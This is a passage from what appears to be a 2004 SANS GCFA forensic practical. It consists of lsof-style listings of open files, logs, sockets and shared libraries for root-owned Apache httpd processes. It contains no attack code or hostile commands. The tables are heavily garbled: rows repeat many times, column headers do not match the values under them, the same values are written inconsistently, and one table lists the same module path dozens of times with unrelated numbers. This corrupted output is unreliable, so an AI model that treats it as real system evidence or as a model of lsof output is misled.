<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>426642</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>89424</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35340</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>28138</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>426642</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>84924</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35340</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>28138</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>426642</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>84924</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35340</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>28138</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>426642</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>84924</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35340</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>28138</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>426642</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>84924</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35340</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>28138</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094</td>
</tr>
</tbody>
</table>
## Sans GCFA Assignment – v1.4

<table>
<thead>
<tr>
<th>PID</th>
<th>User</th>
<th>Group</th>
<th>Mode</th>
<th>Size</th>
<th>Link</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>19368</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3,6</td>
<td>265</td>
<td>/var/log/httpd/access_log</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td>/var/log/httpd/m1_request_log</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>19369</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>290169</td>
<td>/usr/lib/txt</td>
</tr>
<tr>
<td>19368</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>89547</td>
<td>/lib/id-2.2.5.so</td>
</tr>
<tr>
<td>19369</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.2</td>
<td>9883</td>
<td>/usr/lib/apache/mod_vhost_alias.so</td>
</tr>
<tr>
<td>19369</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.2</td>
<td>8301</td>
<td>/usr/lib/apache/mod_env.so</td>
</tr>
<tr>
<td>19369</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.2</td>
<td>17638</td>
<td>/usr/lib/apache/mod_log_config.so</td>
</tr>
<tr>
<td>19369</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.2</td>
<td>7438</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>19369</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.2</td>
<td>8530</td>
<td>/usr/lib/apache/mod_log_referer.so</td>
</tr>
<tr>
<td>19369</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.2</td>
<td>8274</td>
<td>/usr/lib/apache/mod_dir.so</td>
</tr>
<tr>
<td>19369</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.2</td>
<td>371</td>
<td>/usr/lib/ssl/p11\_dso.cache</td>
</tr>
</tbody>
</table>
httpd 19370 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 19370 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 19370 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 19370 root mem REG 3,2 15974 229494 /usr/lib/apache/mod_actions.so
httpd 19370 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 19370 root mem REG 3,2 10617 229497 /usr/lib/apache/mod_expires.so
httpd 19370 root mem REG 3,2 9000 229508 /usr/lib/apache/mod_expires.so
httpd 19370 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19370 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19370 root mem REG 3,2 11985 63541 /lib/libutil-2.2.5.so
httpd 19370 root mem REG 3,5 11174 229529 /usr/lib/apache/libdav.so
httpd 19370 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 19370 root mem REG 3,2 1453198 440046 /usr/lib/apache/mod_auth.so
httpd 19370 root mem REG 3,2 8621 440043 /usr/lib/apache/libc.so.2.2.5
httpd 19370 root mem REG 3,2 122952 229494 /usr/lib/apache/mod_auth.so
httpd 19370 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 19370 root mem REG 3,2 9304 229508 /usr/lib/apache/mod_auth_db.so
httpd 19370 root mem REG 3,2 9900 229525 /usr/lib/apache/mod_auth_soap.so
httpd 19370 root mem REG 3,2 53189 229498 /usr/lib/apache/mod_actions.so
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Status</th>
<th>Size</th>
<th>File</th>
</tr>
</thead>
<tbody>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
httpd 19371 root mem REG 3,2 65 130316
/usr/lib/locale/en_US.iso885915/LC_TELEPHONE
httpd 19371 root mem REG 3,2 161 130310
/usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd 19371 root mem REG 3,2 83 130314
/usr/lib/locale/en_US.iso885915/LC_NAME
httpd 19371 root mem REG 3,2 40 130315
/usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 19371 root mem REG 3,2 58 179360
/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
httpd 19371 root mem REG 3,2 292 130313
/usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 19371 root mem REG 3,2 58942 63507 /lib/libnsl-2.2.5.so
httpd 19371 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so
httpd 19371 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.so
httpd 19371 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
httpd 19371 root mem REG 3,2 146819 66089 /usr/lib/libcurl.so.2.0.2
httpd 19371 root mem REG 3,2 717774 65410 /usr/lib/libxml2.so.2.4.19
httpd 19371 root mem REG 3,2 290511 65311 /usr/lib/libncurses.so.5.2
httpd 19371 root mem REG 3,2 215482 65386 /usr/lib/libgmp.so.3.2.1
httpd 19371 root mem REG 3,2 196866 66287 /usr/lib/libgd.so.1.8.4
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Groups</th>
<th>Mode</th>
<th>Size</th>
<th>Inode</th>
<th>Offset</th>
<th>Size</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10034</td>
<td>229493</td>
<td>/usr/lib/apache/mod_access.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11985</td>
<td>229497</td>
<td>/usr/lib/apache/mod_auth.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8486</td>
<td>229498</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9304</td>
<td>229499</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9800</td>
<td>229508</td>
<td>/usr/lib/apache/mod_authorizer.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8261</td>
<td>229509</td>
<td>/usr/lib/apache/mod_headers.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td>229521</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9240</td>
<td>229522</td>
<td>/usr/lib/apache/mod_setenv.so</td>
<td></td>
</tr>
</tbody>
</table>

**Key fingerprint:** AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

**Author retains full rights.**

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
<table>
<thead>
<tr>
<th>PID</th>
<th>User</th>
<th>Command</th>
<th>iOS</th>
<th>Uid</th>
<th>Gid</th>
<th>Group</th>
<th>Type</th>
<th>Args</th>
</tr>
</thead>
<tbody>
<tr>
<td>19373</td>
<td>root</td>
<td>httpd</td>
<td>1w</td>
<td>CHIR</td>
<td>1,3</td>
<td></td>
<td></td>
<td>dev/null</td>
</tr>
<tr>
<td>19373</td>
<td>root</td>
<td>httpd</td>
<td>2w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
<td></td>
<td>var/log/httpd/error_log</td>
</tr>
<tr>
<td>19373</td>
<td>root</td>
<td>httpd</td>
<td>3u</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td></td>
<td>var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>19373</td>
<td>root</td>
<td>httpd</td>
<td>4u</td>
<td>REG</td>
<td>3,5</td>
<td>0</td>
<td></td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>(deleted)</td>
</tr>
<tr>
<td>19373</td>
<td>root</td>
<td>httpd</td>
<td>5u</td>
<td>REG</td>
<td>3,5</td>
<td>8192</td>
<td></td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>19373</td>
<td>root</td>
<td>httpd</td>
<td>16u</td>
<td>IPv4</td>
<td>36162</td>
<td>TCP</td>
<td>*:https</td>
<td>LISTEN</td>
</tr>
<tr>
<td>19373</td>
<td>root</td>
<td>httpd</td>
<td>17u</td>
<td>IPv4</td>
<td>36162</td>
<td>TCP</td>
<td>*:http</td>
<td>LISTEN</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>1w</td>
<td>REG</td>
<td>3,6</td>
<td>265</td>
<td></td>
<td>var/log/httpd/access_log</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>1w</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td></td>
<td>var/log/httpd/mdm_request_log</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td>/</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td></td>
<td>/</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>txt</td>
<td>REG</td>
<td>3,2</td>
<td>290169</td>
<td></td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9883</td>
<td></td>
<td>/usr/lib/apache/mod_vhost_alias.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8301</td>
<td></td>
<td>/usr/lib/apache/mod_env.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>17638</td>
<td></td>
<td>/usr/lib/apache/mod_log_config.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>7438</td>
<td></td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8530</td>
<td></td>
<td>/usr/lib/apache/mod_log_referer.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8274</td>
<td></td>
<td>/usr/lib/apache/mod_dir.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>371</td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>101902</td>
<td></td>
<td>/lib/i686/libpthread-2.2.5.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>173359</td>
<td></td>
<td>/lib/i686/libm-2.2.5.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>23575</td>
<td></td>
<td>/lib/libcrypt-2.2.5.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>30282</td>
<td></td>
<td>/usr/lib/libgdbm.so.2.0.0</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>655224</td>
<td></td>
<td>/lib/libdb-3.3.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19662</td>
<td></td>
<td>/usr/lib/libmm.so.11.0.23</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>141735</td>
<td></td>
<td>/usr/lib/libexpat.so.0.1.0</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>12102</td>
<td></td>
<td>/usr/lib/apache/mod_mime.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>14929</td>
<td></td>
<td>/usr/lib/apache/mod_mime.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27415</td>
<td></td>
<td>/usr/lib/apache/mod_negotiation.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>18365</td>
<td></td>
<td>/usr/lib/apache/mod_status.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19959</td>
<td></td>
<td>/usr/lib/apache/mod_info.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35886</td>
<td></td>
<td>/usr/lib/apache/mod_include.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27836</td>
<td></td>
<td>/usr/lib/apache/mod_autoindex.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19490</td>
<td></td>
<td>/usr/lib/apache/mod_cgi.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>6924</td>
<td></td>
<td>/usr/lib/apache/mod_asis.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>15974</td>
<td></td>
<td>/usr/lib/apache/mod_imap.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8541</td>
<td></td>
<td>/usr/lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8770</td>
<td></td>
<td>/usr/lib/apache/mod_userdir.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10617</td>
<td></td>
<td>/usr/lib/apache/mod_alias.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>51389</td>
<td></td>
<td>/usr/lib/apache/mod_rewrite.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10034</td>
<td></td>
<td>/usr/lib/apache/mod_access.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11985</td>
<td></td>
<td>/usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8486</td>
<td></td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9304</td>
<td></td>
<td>/usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
<td></td>
<td>/usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176</td>
<td></td>
<td>/usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>92407</td>
<td></td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65</td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>40</td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>19374</td>
<td>root</td>
<td>httpd</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>58</td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES</td>
</tr>
</tbody>
</table>

Kevin Miller - Sans GCFA Assignment – v1.4 Page 165
<table>
<thead>
<tr>
<th>File Path</th>
<th>Type</th>
<th>Size</th>
<th>Mode</th>
<th>Access</th>
<th>Group</th>
<th>User</th>
</tr>
</thead>
<tbody>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>655224</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>19662</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>141735</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>12102</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>14929</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>27415</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>18365</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>19959</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>35886</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>27836</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>14940</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>6294</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>140418</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>14929</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>8541</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>8770</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>10617</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>53189</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>10034</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>11985</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>8486</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>9304</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>9900</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>8261</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>10176</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>92407</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>11174</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>122952</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>210094</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>1453198</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>8621</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>20666</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/mod_info.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>9329</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/libdbd.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>65341</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/libdbd.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>11174</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/libdbd.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>122952</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/libdbd.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>210094</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/libmdm.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>10034</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/libmdm.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>11985</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
<td>/usr/lib/apache/libmdm.so</td>
<td>REG</td>
<td>6354</td>
<td>3,5</td>
<td>8486</td>
<td>root</td>
<td>mem</td>
</tr>
<tr>
